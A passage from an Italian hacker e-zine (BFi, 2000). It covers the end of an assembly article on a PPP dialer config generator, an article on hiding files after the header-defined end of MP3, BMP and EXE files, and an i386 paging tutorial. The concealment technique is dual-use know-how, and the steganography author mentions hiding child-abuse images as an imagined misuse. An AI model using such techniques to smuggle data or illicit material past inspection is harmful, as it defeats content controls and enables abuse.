0xA mov ecx, eax add ecx, 2 mov esi, dword phonebuffer mov edi, dword pppscriptins repz movsb mov ecx, 0x13 mov esi, dword pppscript2 mov edi, dword pppscriptins add edi, eax add edi, 2 repz movsb mov eax, dword pppscriptbuffer add eax, 0x71 add eax, dword [lenphone] mov dword [eax], NULL ; --------------------------------------------------------- push dword userbuffer call strlen mov dword [lenuser], eax mov ecx, eax inc ecx mov esi, dword userbuffer mov edi, dword papsecrets repz movsb mov dword [papsecrets+eax],0x22092A09 push dword pwbuffer call strlen add esp, 4 mov dword [lenpw], eax mov byte [pwbuffer+eax],'"' mov ecx, eax inc ecx mov esi, dword pwbuffer mov edi, dword papsecrets add edi, dword [lenuser] add edi, 4 repz movsb mov eax, dword papsecrets add eax, 0x6 add eax, dword [lenuser] add eax, dword [lenpw] mov dword [eax], NULL ; --------------------------------------------------------- push dword domainbuffer call strlen add esp, 4 mov dword [lendomain], eax mov byte [domainbuffer+eax], 0xA mov ecx, eax inc ecx mov esi, dword domainbuffer mov edi, dword resolvins repz movsb push dword dns1buffer call strlen add esp, 4 mov dword [lendns1buffer], eax mov byte [dns1buffer+eax], 0xA mov ecx, eax inc ecx mov esi, dword dns1buffer mov edi, dword resolvins2 repz movsb cmp dword [dns2buffer], 0x0000006E jz otherdns ; inizio sezione inutine se non c'e' il 2o dns --------------- push dword dns2buffer call strlen add esp, 4 mov dword [lendns2buffer], eax mov byte [dns2buffer+eax], 0xA mov ecx, eax inc ecx mov esi, dword dns2buffer mov edi, dword resolvins3 repz movsb mov ecx, dword [lendns2buffer] add ecx, 0xB mov esi, dword resolv3 mov edi, dword resolvins2 add edi, dword [lendns1buffer] inc edi repz movsb ; fine sezione inutine se non c'e' il 2o dns ----------------- otherdns: mov ecx, dword [lendns1buffer] add ecx, dword [lendns2buffer] add ecx, 0x16 mov esi, dword resolv2 mov edi, dword resolvins add edi, dword [lendomain] inc edi repz movsb mov eax, dword resolv add eax, 0x1F add eax, dword [lendomain] add eax, dword [lendns1buffer] add eax, dword [lendns2buffer] mov dword [eax], NULL ----------------------------- Soliti lavori di allineamento, con l'accortezza di aver inserito l'opzione di poter utilizzare anche un solo server dns. *Solo* dopo che tutti i buffer sono a posto possono esere scritti su file. E qui usero' le chiamate al kernel al posto di chiamate quali fopen(). Eccone alcune sintassi. Syscall 4- ssize_t sys_write(unsigned int fd, const char * buf, size_t count) Syscall 6- sys_close(unsigned int fd) Syscall 8- int sys_creat(const char * pathname, int mode) ----------------------------- mov eax, 0x8 mov ebx, dword optionspath mov ecx, 0x1A4 int 0x80 cmp eax, -1 jz near error mov dword [handle], eax ----------------------------- Il numero della chiamata e' 8, cioe' sys_create. In ebx va l'offset di optionspath, in ecx i permessi. Come si impostano i giusti permessi? Semplice: considerato che il valore numerico di un permesso (che so, 755) e' sempre espresso in sistema ottale, bastera' convertire tale valore in hex e quindi metterlo in ecx, nient'altro. Altra considerazione: per quanto ci riguarda i file di config posso anche essere leggibili da tutti, se volete che cio' non avvenga modificate semplicemente il valore da mettere in ecx. ----------------------------- push dword optionsbuffer call strlen add esp, 4 mov ebx, dword [handle] mov ecx, dword optionsbuffer mov edx, eax mov eax, 0x4 int 0x80 ----------------------------- Con il pezzo sopra di codice andiamo a scrivere nel file che abbiamo appena creato tramine sys_write, numero 0x4. Il numero di byte da scrivere lo ricaviamo con un strlen del buffer che ci interessa. Ora non ci resta che chiudere l'handle. ----------------------------- mov eax, 0x6 mov ebx, dword [handle] int 0x80 ----------------------------- Fatte queste operazioni per i vari file, non dovremo fare altro che compilare il tutto con $ nasm -f elf zppp.asm e quindi andare a linkare il file .o con $ gcc zppp.o per avere come risultato l'eseguibile a.out. E il nostro tool e' terminato, siamo pronti ad eseguire /usr/sbin/zppp. Testandolo qua e la', ho visto personalmente che su SlackWare e RedHat funzia a dovere. Su SuSe, invece, il pppd in alcuni casi da' problemi dopo l'avvenuta connessione. Questo fatto non sembra, pero', essere dovuto allo zppp, in quanto esso crea tutti i file necessari correttamente, bensi' al pppd. Fatemi sapere. Per i soliti suggerimenti, critiche, bug del prg e cosi' via mandatemi una mail. Byz, Ritz http://racl.immagika.org ritz@freemail.it racl@alfatechnologies.it ============================================================================== ---------------------------------[ EOF 16/21 ]-------------------------------- ============================================================================== BFi-9/BFi09-170100644000000000000000000004334107204353214011351 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 17 di 21 ]------------ ============================================================================== -[ REVERSiNG ]---------------------------------------------------------------- ---[ L.L.H.M. - Low Level Header Manipulation -----[ valv{0} consumo : 4/5l. di te' freddo 1 + 1/2 l. di caffe' 3bigburger + 2cheeseburger dedicato a: tutti quelli che ankora provano a sovvertire this world. resistete fratelli. X-warning : non tentate di divulgare messaggi in codice alla vostra amante, al vecchio saddam o a qualche gruppo sovversivo israeliano. Con una buona dose di probabilita', l'algoritmo sara' crackato nel giro di 10mins, e voi vi ritroverete con il culo per terra. meglio leggersi l'articolo e capirci qualcosa, prima... +) intro- L'estate vi fa' pensare a rilassarvi, le difese immunitarie si abbassano, e voi nudi come vermi a prendere il sole su qualche spiaggia affollata, magari non pensate neanche che la prossima chiusura di Napster sia un ulteriore attacco alla privacy personale di chi cavalca quest'onda ancora in piena che e' Internet. Poco importa dira' qualcuno; morto un papa se ne fa' un altro. Peccato che non e' cosi'. Cercano di manipolarci, cercano di sapere chi siamo cosa facciamo e dove andiamo. Quante volte al gioro scopiamo, cosa beviamo, che sigarette fumiamo, cosa ci piace fare... Raccolgono informazioni, le conservano in un server, pronti a venderle al migliore offerente. Questo e' il disastroso quadro ke abbiamo di fronte. E poco importa se quella biondona dalle tette siliconate ti strizza l'occhio, fratello. Magari e' stata messa li' proprio per questo. Con questo non voglio dire di non andare al mare e di non fikkare... ci mankerebbe... anzi proprio perche' siamo in questo clima di relax estivo, vi propongo quest'articolo da consumare non propriamente in spiaggia, ma quasi. Buon divertimento. +) prefax- Quando mi son messo a lavorare a questo prodotto, non pensavo che l'avrei portato avanti fino a questo punto. L'idea, come tutte, era nata da un'esigenza personale di sendare infos in maniera insospettabile ad alcuni fratelli in resistenza contro questo cazzo di sistema oramai da troppo tempo. "Quale modo migliore per sendare infos, di quello di far credere che in realta' siano altro?" mi son detto... Guardandomi intorno mi sono accorto di una gran cosa: tutti (o quasi) i files che mi circondano, contengono zone non controllate, pronte ad ospitare le mie informazioni in maniera trasparente a tutti. Cosa mi restava da fare? Iniziai a codare... +) sguardo di insieme agli headers- Ogni file di tipo complesso contiene un header o intestazione dello stesso. Una sorta di indice che ci da' alcune preziose informazioni sul tipo di file in nostro possesso, sulla sua usabilita', dimensione, etc. Per farci un'idea su quello che voglio dire e su dove voglio arrivare, facciamo un esempio. Partiamo da un file eseguibile standard (.EXE). Ogni file .EXE, contiene un Header, grande almeno 512bytes. In realta', solo i primi 27bytes di questo header partecipano in maniera attiva alla realizzazione dell'header. I restanti bytes continuano a far parte dell'header, ma in realta' non contribuiscono alle sue informazioni. Queste ultime vengono utilizzate dal sistema per avviare ed eseguire il programma. Per comodita' ho riportato come struttura C queste informazioni: struct EXE { char ID[2]; // MZ, altrimenti NON va'... unsigned last; // numero totale bytes nell'ultimo settore unsigned pages; // numero totale di settori o pagine unsigned reloc_items; // numero di items relocabili unsigned header_size; // grandezza dell'header in paragrafi unsigned minpara; // paragrafi minimi richiesti unsigned maxpara; // paragrafi massimi richiesti unsigned ss; // stack-segment unsigned sp; // stack-pointer unsigned chksum; // checksum per l'header unsigned ip; // instruction-pointer (IP) unsigned cs; // code-segment unsigned first_reloc; // offset del primo item rilocabile unsigned char ovr; // numero di overlay }; I piu' conosceranno benissimo quello che c'e' scritto sopra, ma permettetemi di spendere due parole per i neofiti (?) dell'EXE. In tutta questa grossa struttura, quello che importa sapere e' che un file .EXE per partire ha bisogno dei primi due bytes settati ad 'MZ', o 'ZM' e cosa ankora piu' importante, che non ne permette la modificabilita' 'selvaggia', e' quella di un controllo sul numero di pagine presenti. Un file .EXE, infatti, viene diviso in pagine virtuali da 512bytes, meno l'ultima che puo' essere anche piu' piccola, in modo da evitare dimensioni fisse. In pratica per ricavare la dimensione di un .EXE, basta fare un paio di conti: size = ((settori tot. - 1) x 512) + (bytes sull'ultimo settore) - - ( ( item_3 - 1 ) x 512 ) + item_2 E' un conteggio molto spartano che rende bene l'idea pero'. In pratica se cominciate a modificare ed aggiungere bytes nel file, ne corrompete la validita' oltre che il checksum, rendendolo inutilizzabile. La cosa in effetti non e' proprio cosi'... quello di cui parlo sopra riguarda si' le dimensioni del file, ma non le dimensioni totali e reali dello stesso, ma solo le dimensioni 'virtuali'. Per essere brevi, se vi trovate davanti qualcosa del tipo: ........{A '@ ............... ..........nome_ finestra123.... AfxWnd42s...Afx ControlBar42s.. ..AfxMDIFrame42 s..AfxFrameOrVi ew42s...AfxOleC ontrol42s....Ge tMonitorInfoA.E ............... E provate ad aggiungere qualche bytes, magari per cambiare il nome della finestra, potete stare sicuri che il vostro prog non andra' mai. Esistono pero' altri modi per l'aggiunta di informazioni al file. Una di queste e' quella usata dagli editor di risorse, che aggiungono ed aumentano le dimensioni del file, ma le modiche apportate da questi ultimi riguardano e toccano strutture particolari del file. In qualunque caso, questi programmi in generale si occupano di modificare di conseguenza anche tutte quelle parti che riportano informazioni riguardanti punti di inizio, fine e dimensione del file. Spostiamoci adesso alla fine del file, dopo cioe' l'ultima zona indicata dal secondo campo della nostra struttura. Quella e' una zona vuota. Il nostro programma e' finito un paio di bytes prima. Cosa succederebbe se inserissimo dei bytes qui? Rispondo io per voi: assolutamente niente, il programma comincera' a funzionare in modo perfettamente normale (a meno di controlli sulla dimensione da parte del programma in se'), con il suo drappello che noi abbiamo appena inserito. Rendo l'idea? In pratica dopo quella fatidica zona, possiamo mettere quel che vogliamo senza preokkuparci di invalidare il file. Continuiamo spostando la nostra attenzione sui files stream tipo MP3. Piu' precisamente, spostiamoci sull'intestazione e l'header di questi particolari file. I file mp3 sono segmentati in milioni di frames, ognuno contenente una frazione di un secondo di audio, pronto per essere ricostruito dal decoder in uso. Inserito all'inizio di ogni frame dati, si trova il fatidico header. Esso registra 32bit di informazioni riguardanti il frame seguente. L'header inizia con un blocco di sync, consistente di 11bit. Questo blocco permette al player di controllare e posizionarsi sul primo frame valido del file. Esso inoltre permette di skippare gli eventuali tag ID3 presenti all'inizio e/o alla fine del file. +-----+---+---+---+-----+---+---+---+---+---+---+---+---+---------+ | A | B | C | D | E | F | G | H | I | J | K | L | M | AUDIO | +-----+---+---+---+-----+---+---+---+---+---+---+---+---+---------+ A - frame sync B - MPEG audio version C - MPEG layer D - protezione E - bitrate F - sampling rate G - bit di padding H - riservato I - modo canali J - modo estensione K - copyright L - original M - emphasis In effetti, per gli scopi di quest'articolo, l'unica parte interessante dell'header e' la prima, quella denotata nel grafico con A, e che come dicevamo prima si okkupa del sync al primo frame corretto e lo skipping di eventuali IDTAG. Diamo un'okkiata piu' da vicino alla struttura di un file MP3: \ FF FB 92 00 00 00 00 00 00 69 00 00 00 00 00 00 ......i...... |32bits 0D 20 00 00 00 00 00 01 A4 00 00 00 00 00 00 34 . ............4 |header / 80 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF ... FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF Quella sopra e' la parte iniziale di un comune file MP3 in standard v2. Sono da notare i primi 32bit, che producono la zona di header di cui parlavamo. Quello che segue dopo, invece, e' lo stream vero e proprio. Spostiamoci, adesso, in calce al file e vediamo cosa troviamo: 00 00 00 00 00 00 00 00 54 41 47 52 69 64 69 6E ........TAGRidin 67 20 57 69 74 68 20 54 68 65 20 4B 69 6E 67 20 g With The King 20 20 20 20 20 20 20 20 20 42 42 20 4B 69 6E 67 BB King & Eric C 20 26 20 45 72 69 63 20 43 6C 61 70 74 6F 6E 20 lapton Ri 20 20 20 20 20 20 20 52 69 64 69 6E 67 20 57 69 ding With The Ki 74 68 20 54 68 65 20 4B 69 6E 67 20 20 20 20 20 ng 2000 68 20 54 6E 68 65 20 69 6E 67 3F 20 20 20 20 20 [VrL][ Ripping 20 20 20 20 20 20 20 52 69 64 69 6E 20 20 20 00 Collection . Questa e' la parte finale dello stesso file. Come si puo' notare e' presente la keyword TAG seguita da uno standard di testi ke rappresentano titolo, autore, copyright, genere, etc. del pezzo in questione. A fronte di quanto visto, dove inserire allora il nostro file nascosto? Le scelte possibili a mio modo di vedere sono due: 1) Inserirlo frammentato dentro ogni frame del brano, modificando in maniera opportuna i bit di sync e quelli di intestazione del frame corrente. 2) Inserirlo prima della keyword 'TAG', facendo scivolare la stessa alla fine del nostro file da nascondere. Tutte e due le scelte hanno dei lati positivi ed alcuni negativi. Nel primo caso, ci troviamo di fronte a problemi di tipo implementativo: bisognerebbe infatti fare una stima del numero di frame presenti nel file, successivamente decidere come partizionare il nostro file da nascondere e modificare di conseguenza entry-point e start-point di ogni frame. Nel secondo caso, l'implementazione e' molto piu' veloce ed efficente, dal momento ke lo stream mp3, una volta arrivato al nostro file hide, non trovera' un header mp3 valido e lo skippera' semplicemente, arrivando in coda, dove trovera' il TAG da noi postposto rendendo in effetti trasparente l'inoculazione del file. Come avrete capito, la scelta da me effettuata per questa particolare implementazione e' la seconda. Cio' non toglie ke una nuova routine del primo tipo sarebbe molto utile, perke' permetterebbe di maskerare in modo quasi totale il file. Anche nel caso di un file grafico di tipo .BMP (bitmap win) ci troviamo in presenza di un header contenente informazioni su grandezza, colori ed altre informazioni rilevanti per la visualizzazione grafica dell'immagine. Di nuovo, l'header potrebbe essere rappresentato come una struttura C di questo tipo: struct BITMAP { BITMAPFILEHEADER bmfh; BITMAPINFOHEADER bmih; RGBQUAD aColors[]; BYTE aBitmapBits[]; } Il primo campo contiene informazioni sul tipo, grandezza e layout del file. Il tipo, in realta', contiene all'interno sottostrutture con i vari flag. Il secondo campo contiene informazioni riguardo la dimensione, la compressione ed il formato dei colori dell'immagine. Il terzo campo, definito come un array, contiene tanti elementi quanti sono i colori dell'immagine. Questo campo non e' presente nelle bitmap a 24bits, poiche' ogni pixel e' rappresentato da valori a 24bit di tipo (RGB). L'ultimo campo consiste di un array di valory BYTE, rappresentante righe consecutive di dati (scan lines) dell'immagine. Ogni scan line consiste di byte consecutivi rapprentanti i pixel nella linea nell'ordine sinistra-destra. All'interno della struttura BITMAPINFOHEADER, il secondo byte contiene le informazioni sulla grandezza totale della bitmap e sul numero di scan lines. Immaginando un dump in modo testo di queste strutture, ci troveremmo davanti qualcosa di questo tipo: header { BitmapFileHeader Type 19778 Size 3118 <- Reserved1 0 Reserved2 0 OffsetBits 118 BitmapInfoHeader Size 40 <- Width 80 Height 75 Planes 1 BitCount 4 Compression 0 SizeImage 3000 <- } Le frecce che ho aggiunto spiegano il mio obiettivo. Anche in questo caso ci troviamo davanti ad un controllo 'assunto'. In pratica, durante la lettura dell'header in fase di decoding, si vanno a prendere queste informazioni che saranno utilizzate dal decoder/visualizzatore, per avere un punto di arresto e quindi di fine file. In pratica, viene detto al decoder quanto leggere e come farlo. Anche in questo caso, l'aggiunta di dati alla fine del file non implica la corruzzione del file. Quest'ultimo sara' interpretato correttamente, skippando di brutto tutto quello che viene dopo i punti di fine file imposti dall'header, dandoci in concreto la possibilita' di passare insieme all'immagine file nascosti. Non continuo con divagazioni sui vari headers di files presenti, perche' altrimenti non basterebbe un numero intero di BFi!. Quello che volevo spiegare (e spero di esserci riuscito) era come, in generale, tutti i formati complessi (dati, video, audio ke siano) fanno un controllo 'assunto' e 'presunto' sulla dimensione, basandosi sulle informazioni contenute nell'header, senza preokkuparsi di un check completo del file, permettendo in effetti di aggiungere informazioni a noi utili (file o quel che volete). Personalmente ho provato con successo completo sui seguenti formati: .MP3 - tutte le versioni .DOC - Wordpad, Word 6.x, Word 7.x .GIF - tutte le versioni .JPG - tutte le versioni .BMP - tutte le versioni .EXE - win32, winnt, win2k Sicuramente i formati vulnerabili a questo tipo di modifica sono moltissimi altri per non dir tutti. Ma questo, cari fratelli, e' compito vostro... +) l'implementazione- Il codice fornito con questo articolo e' una dimostrazione semplice e senza pretese di come forzare quanto detto e di come utilizzarlo. Premessa doverosa e' quella che non e' stata usata nessuna ottimizzazione: il codice e' lento tanto quanto il livello cognitivo del mio cane (e credetemi ce ne vuole...). Ma qui stiamo a parlare a coder... quindi una volta data l'idea ed il codice di partenza, non sara' difficile svolgere modifiche performanti a quanto gia' fatto. La ricerca di file nascosti penso sia la prima cosa da andare a modificare; la ricerca e' fatta con un construtto case con if annidati (quanto di peggiore si possa augurare ad un programma... eheh). Come alternativa pensavo ad una ricerca dal basso, con un sistema di verifica hash... ad okkio e croce si salirebbe notevolmente di prestazioni. Per quanto riguarda le due procedure di codifica presenti (hidd, hidd2), niente da dire per la seconda, ke si preokkupa soltanto di cryptare ed aggiungere header di fine ed inizio del file nascosto al nuovo file. La prima procedura, invece, costruisce, oltre che l'header del file nascosto, anche i tag necessari per una perfetta emulazione di un file mp3. Nell'attuale implementazione, i tag vengono copiati da un file .DAT, ma si potrebbe semplicemente prendere il tag del file originale mp3 dove si intende nascondere e traslarlo in calce al file di output. Nota dolente e' il sistema di cryptazione. Come molti di voi avranno visto (spero), il sistema non ha nessuna tolleranza e/o resistenza ad un attacco di crypto-analisi. In pratica viene sommata la stringa usata come passphrase n volte al file da cryptare. Vi chiederete come mai? Dopo che vi ho parlato e tormentato con sistemi RSA ottimizzati e sistemi a curve ellittoidali per una maggiore sicurezza, perche' usare un sistema cosi' elementare? Provate a pensare ad un sito che pubblicizza immagini della Kournikova nuda ed in realta' dentro ogni immagine ci stanno immagini pedo della specie peggiore, impossibili da scovare e decryptare... rendo l'idea? Quello che cerco di dire e' che le idee possono viaggiar libere (ankora), il codice eseguibile ed il sorgente, NO. Rischierei di essere additato e condannato per crimini che non mi son mai sognato di perpetrare. Nulla mi vieta di consigliarvi di cambiare la routine di crypt e di metterci dentro magari un bel sistema su base IDEA o BLOWFISH, giusto? :** Ultima cosa riguardante l'implementazione e' la routine di lettura/scrittura del file di output/input. Una lettura a blocchi sarebbe molto piu' efficente di una lettura byte-byte. Questo pero' dipende dal tipo di cryptazione che intendete utilizzare. Il codice sorgente mi sembra abbastanza commentato e comunque il contenuto non e' di difficile comprensione. Niente di particolare, solo C ansi. +) ringraziamenti- I piu' sentiti ringraziamenti volano a tutta s0ftpj, in particolare: \sPIRIT\, B_Berry, smaster, |scacco|, vecna, pIGpEN. Un saluto ed un grazie per esserci a: Nello|Z, Kobaiashi, Cavallo. Saluti personali e ringraziamenti vanno a: Quest, Mark_B, HellRider, Solster, Tyberuan, \\Ken, JoKer/aVt, dunric, yap, yattamen, KC, ViPer... Un saluto particolare a ins4ne, per l'aiuto nella correzione dell'articolo, prima di portarlo online... ...e tutti quelli che non vengono alla mente in questo momento... +) per contattarmi- valvoline@tiscalinet.it valvoline@immagika.org valvoline@s0ftpj.org ============================================================================== ---------------------------------[ EOF 17/21 ]-------------------------------- ============================================================================== BFi-9/BFi09-190100644000000000000000000017140307204353337011362 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 19 di 21 ]------------ ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ MEMORY MANAGEMENT NEI PROCESSORI i386 IN PROTECTED MODE -----[ Ritz -= LETTERATURA =- Molte delle info che trovate in questo tutorial sono state prese dai seguenti libri. "Volume 3: System Programming Guide", dell'"Intel Architecture Software Developer's Manual", scaricabile dal sito della Intel nella sezione developer, Order Number 243192. Anche i volumi 1 ("Basic Architecture", Order Number 243190) e 2 ("Instruction Set Reference Manual", Order Number 243191) di tale manuale possono tornare utili. Per quanto riguarda le tabelle, invece, esse sono state spudoratamente copiate dai testi sopra citati :) . -= INTRODUZIONE =- Salve a tutti. Come penso avrete gia' capito questo tutorial non avra', come sono solito fare, uno scopo pratico, bensi' il suo unico proposito e' quello di spiegare il funzionamento in protected mode dei processori i386. Parlero' delle tavole di descrittori, dei meccanismi di paginazione e segmentazione, di exception handling, and so on. Ad ogni modo, in alcuni ambiti queste informazioni possono cmq risultare utili, come ad esempio nel caso si desideri scendere a ring0 da win9x. Nonostante questo, non daro' esempi pratici di come ottenere cio', sia perche' cosi' vi divertire un po' a farlo da soli (evabbe' sono bastardo lo so ;) ), ma soprattutto perche', visto che questo tutorial e' soprattutto per il RACL (http://racl.immagika.org) non mi pare il caso di soffermarmi su sistemi della M$. Ecco quindi che cerchero' di essere il piu' generale possibile. Tanto per fare un esempio per chiarire come alcuni aspetti siano applicabili solo in ambienti specifici, se sotto win potete scendere a ring0 semplicemente utilizzando metodi quali call gate, int gate e cosi' via perche' gdt, ldt e idt (spieghero' tutto sotto) sono modificabili a ring3 (se volete sull'asj 1 trovate il relativo tute), in Linux cio' non e' possibile perche' essendo quest'ultimo un SO serio e sicuro non mette tali strutture in pagine a ring3, ma le protegge da eventuali modifiche. Detto questo, iniziamo. -= MEMORY MANAGEMENT NELLE ARCHITETTURE i386 =- Come tutti probabilmente saprete, lo stato nativo di un i386 e' il protected mode. Le principali caratteristiche di tale tipo di memory management sono 2: segmentazione e paging. PAGING ^^^^^^ Tramite il paging si ha la possiblilta' di eseguire un dato processo utilizzando un sistema di "memoria virtuale" in cui le varie parti in cui viene diviso il programma (chiamate pagine, che solitamente sono di 4KB) vegnono mappate nella memoria fisica solo quando ce n'e' effettivamente bisogno. Tale meccanismo puo' essere cmq disattivato. Il paging e' controllato da 3 flag nei registri di controllo: 1- Il bit 31 di CR0 (flag PG). Questo flag e' responsabile dell'utilizzo della paginazione e viene settato solitamente dal SO durante l'inizializzazione. 2- Il bit 4 di CR4 (flag PSE, page flag extension). Questo flag serve a specificare l'utilizzo di pagine di 4MB o 2 MB (se il flag PAE e' settato). Se tale flag e' spento, viene utilizzata per le pagine la classica grandezza di 4KB. 3- Il bit 5 di CR4 (flag PAE, physical address extension). Questo bit permette di utilizzare indirizzi fisici di 36bit al posto dei comuni 32bit. Ne parlero' piu' avanti. Se e' attivata la paginazione, il processore per poter ricavare l'indirizzo fisico di memoria partendo da quello lineare deve utilizzare alcune strutture, ovvero: . Page directory: un array di PDE (page-directory entries) contenute in una pagina di 4KB. Una page dir puo' contenere fino a 1024 entry. . Page table: un array di PTE (page-table entries) contenute in una pagina di 4KB. Una page table puo' contenere fino a 1024 entry. NOTA: le page table non sono usate per pagine di 4 o 2 MB. . Page: la pagina fisica :) . . Page-Directory-Pointer Table: un array di entry a 64-bit ognuna delle quali punta a una page dir. Questa struttura non e' usata se si sta utilizzando il phys. addr. extension. Senza spiegare tutte le situazioni in cui si puo' capitare faccio di seguito uno schemino che sicuramente sara' piu' esplicativo delle parole. +---------+----------+----------+---------+------+---------------+ | Flag PG | PAE Flag | PSE Flag | PS Flag | Page | Physical | | CR0 | CR4 | PDE | PDE | Size | Address Space | +---------+----------+----------+---------+------+---------------+ | 0 | x | x | x | / |Paging Disabled| +---------+----------+----------+---------+------+---------------+ | 1 | 0 | 0 | x | 4 KB | 32 bit | +---------+----------+----------+---------+------+---------------+ | 1 | 0 | 1 | 0 | 4 KB | 32 bit | +---------+----------+----------+---------+------+---------------+ | 1 | 0 | 1 | 1 | 4 MB | 32 bit | +---------+----------+----------+---------+------+---------------+ | 1 | 1 | x | 0 | 4 KB | 36 bit | +---------+----------+----------+---------+------+---------------+ | 1 | 1 | x | 1 | 2 MB | 36 bit | +---------+----------+----------+---------+------+---------------+ Ma cosa accade una volta che, attivato il paging, si vuole ricavare un indirizzo fisico da uno lineare? Se le pagine utilizzate sono di 4KB, il linear address si presenta cosi': 31 22 21 12 11 0 +----------+----------+------------+ | Directory| Table | Offset | +----------+----------+------------+ L'entry "Directory" offre un offset ad un'entry nella page dir. Tale entry dara' poi il base physical address della page table. Tramite l'entry Table viene fornito un offset a un'entry nella page table selezionata: tale entry a sua volta dara' il base physical address di una pagina nella memoria fisica. Il campo Offset, a sua volta, dara' un'offset all'indirizzo fisico nella pagina. In altri termini, tramite i bit 22 -> 31 viene ricavata un'entry nella page dir che servira' a trovare il base phys. address della page table. Tramite i bit 12 -> 21 verra' poi selezionata un'entry di tale page table, da cui sara' ricavato il base phys address della pagina in questione. Tramite il campo "offset" (relativo al base phys address della pagina) verra' poi ricavato l'indirizzo fisico corrispondente a quello lineare di partenza. Se la pagina invece che di 4KB e' di 4MB, allora il linear address conterra' solo un campo "offset" (bit 0 -> 21) e un campo "Directory" (bit 22 -> 31). Il 2o dara' un offset a un'entry nella pagedir, da cui verra' ricavato il base phys address della pagina, mentre il 1o offrira' un offset all'interno di tale pagina. Ecco di seguito come si presenta un'entry nella Page Dir quando si utilizzano pagine di 4KB (naturalmente disegno non in scala;) ). 31 12 11 9 8 7 6 5 4 3 2 1 0 +-------------------------+-----+---+---+---+---+---+---+---+---+---+ | | | | | | | P | P | U | R | | | Page-Table Base Address |Avail| G | PS| 0 | A | C | W | / | / | P | | | | | | | | D | T | S | W | | +-------------------------+-----+---+---+---+---+---+---+---+---+---+ Ora un disegnino pure delle Page Table entry con pagine a 4KB. 31 12 11 9 8 7 6 5 4 3 2 1 0 +-------------------------+-----+---+---+---+---+---+---+---+---+---+ | | | | | | | P | P | U | R | | | Page-Table Base Address |Avail| G | 0 | D | A | C | W | / | / | P | | | | | | | | D | T | S | W | | +-------------------------+-----+---+---+---+---+---+---+---+---+---+ Ora un altro disegnino di una Page Dir entry con pagine a 4MB. 31 22 21 12 11 9 8 7 6 5 4 3 2 1 0 +--------------+----------+-----+---+---+---+---+---+---+---+---+---+ | Page | | | | | | | P | P | U | R | | | Base | Reserved |Avail| G | PS| D | A | C | W | / | / | P | | Address | | | | | | | D | T | S | W | | +--------------+----------+-----+---+---+---+---+---+---+---+---+---+ E ora la spiegazione dei relativi campi e flag piu' importanti (non li metto proprio tutti). * Page base address, bit 12 --> 32 (o 22 --> 32, a seconda della grandezza della pagina) E' l'indirizzo fisico del 1o byte di una pagina o di una page table. * P (present) flag, bit 0 Indica se la pagina e' caricata in memoria (settato) o meno (non settato). Se si vuole acccedere a una pagina non in memoria, accade il solito e comune #PF (page-fault exception). * R/W (Read/Write) flag, bit 1 Indica se la pagina e' solamente readable (non settato) o anche writeable (settato). Questo flag interagisce coi flag U/S e WP nel CR0. * U/S (User/Supervisor) flag, bit 2 Indica il privilegio user/supervisor. Se non e' settato la pagina (o il gruppo di pagine) e' assegnata al livello supervisor, altrimenti al livello user. Tale flag interaisce con i flag R/W e WP in CR0. * A (Accessed) flag, bit 5 Indica se vi e' stato un accesso alla pagina o alla page table. * D (Dirty) flag, bit 6 Indica, se settato, che la pagina e' stata scritta. * PS (Page Size) flag, bit 7 Determina la grandezza della pagina (usato solo nelle entry della page-dir). Se e' spento, la size e' 4KB e la page dir entry punta a una page table. Se e' acceso, la size e' 4MB per l'indirizzamento a 32bit (e 2MB se e' attivato l'indirizzamento esteso) e la page dir entry punta a una pagina. Se tale entry punta a una page table, tutte le pagine associate con quella table saranno di 4KB. * G (Global) flag, bit 8 [Dai Pentium Pro] Indica una global page. Questo flag viene usato specialmente per evitare che le pagine piu' usate siano cancellate dai TLB. Cosa sono questi TLB? Il TLB (Translation Lookaside Buffer) sono delle cache on-chip dove il processore conserva le pagine utilizzate piu' recentemente. La famiglia P6 e Pentium ha separati TLB per cache di dati e istruzioni. Inoltre, i P6 hanno TLB separati per pagine a 4KB e 4MB. La maggior parte del meccanismo di paging, in effetti, e' svolta utilizzando i TLB, per risparmiare cicli di bus alla page dir e page table, che vengono effettivamente eseguiti solo se i TLB non contengono i dati di traduzione richiesti per una pagina. I TLB sono naturalmente modificabili solo a ring0. Per il resto non mi dilungo oltre sull'argomento, puo' bastare sapere questo sui TLB. Physical Address Extension ^^^^^^^^^^^^^^^^^^^^^^^^^^ Quando il physical address extension viene attivato, vengono apportati questi cambiamenti nelle strutture inerenti al paging: - Le entry della paging table sono portate a 64bit. - Viene aggiunta un campo "page directory pointer" all'indirizzo lineare da tradurre. - Il field di 20bit "page-directory base address" nel CR3 e' cambiato con un "page-directory-pointer-table base address". - Viene modificato il processo di traduzione degli indirizzi. 31 30 29 21 20 12 11 0 +-----+---------+----------+------------+ | |Directory| Table | Offset | +-----+---------+----------+------------+ ^ | +---------- Directory Pointer Per tradurre un indirizzo lineare in uno fisico con pagine da 4 KB, vengono utilizzati i bit 30 e 31 della entry Page-dir-pointer-table per ricavare una delle 4 entry nella page-dir-pointer table. Tale entry dara' il base address fisico di una page dir. A questo verra' aggiunto l'offset specificato nel campo "Page directory entry" (bit 21 -> 29) dell'indirrizzo lineare, in modo da ricavare un'entry nella page dir selezionata. Da qui verra' ottenuto il base address fisico di una page table. A tale indirizzo si aggiungera' ancora l'offset specificato nel campo "Page-entry table" (bit 12 -> 20) sempre del linear address. In tal modo si ottiene il base physical address di una pagina nella memoria fisica. Bastera' aggiungere a tale valore l'offset specificato nel campo "Page offset" (bit 0 -> 11) per formare finalmente l'indirizzo fisico corrispondente a quello lineare di partenza. Effettivamente e' un po' un casino. Se invece la pagina e' di 2MB, viene ricavato il base address della page dir, si aggiunge un offset per ricavare il base address di una pagina e a questo viene ancora aggiunto un offset per ricavare l'indirizzo tradotto. Vi metto di seguito gli schemi di alcune entry (nel caso di indirizzamenti a 36bit), che diligentemente NON commentero' visto che ne ho gia' spiegato la funzione. Page-Directory-Pointer-Table Entry 63 36 35 32 +---------------------------------------------------+---------------+ | | | | Reserved (set to 0) | Base Address | | | | +---------------------------------------------------+---------------+ 31 12 11 9 8 5 4 3 2 1 0 +-------------------------+-----+---------------+---+---+-------+---+ | | | | P | P | | | |Page-Directory Basse Addr|Avail| Reserved | C | W | Res | 1 | | | | | D | T | | | 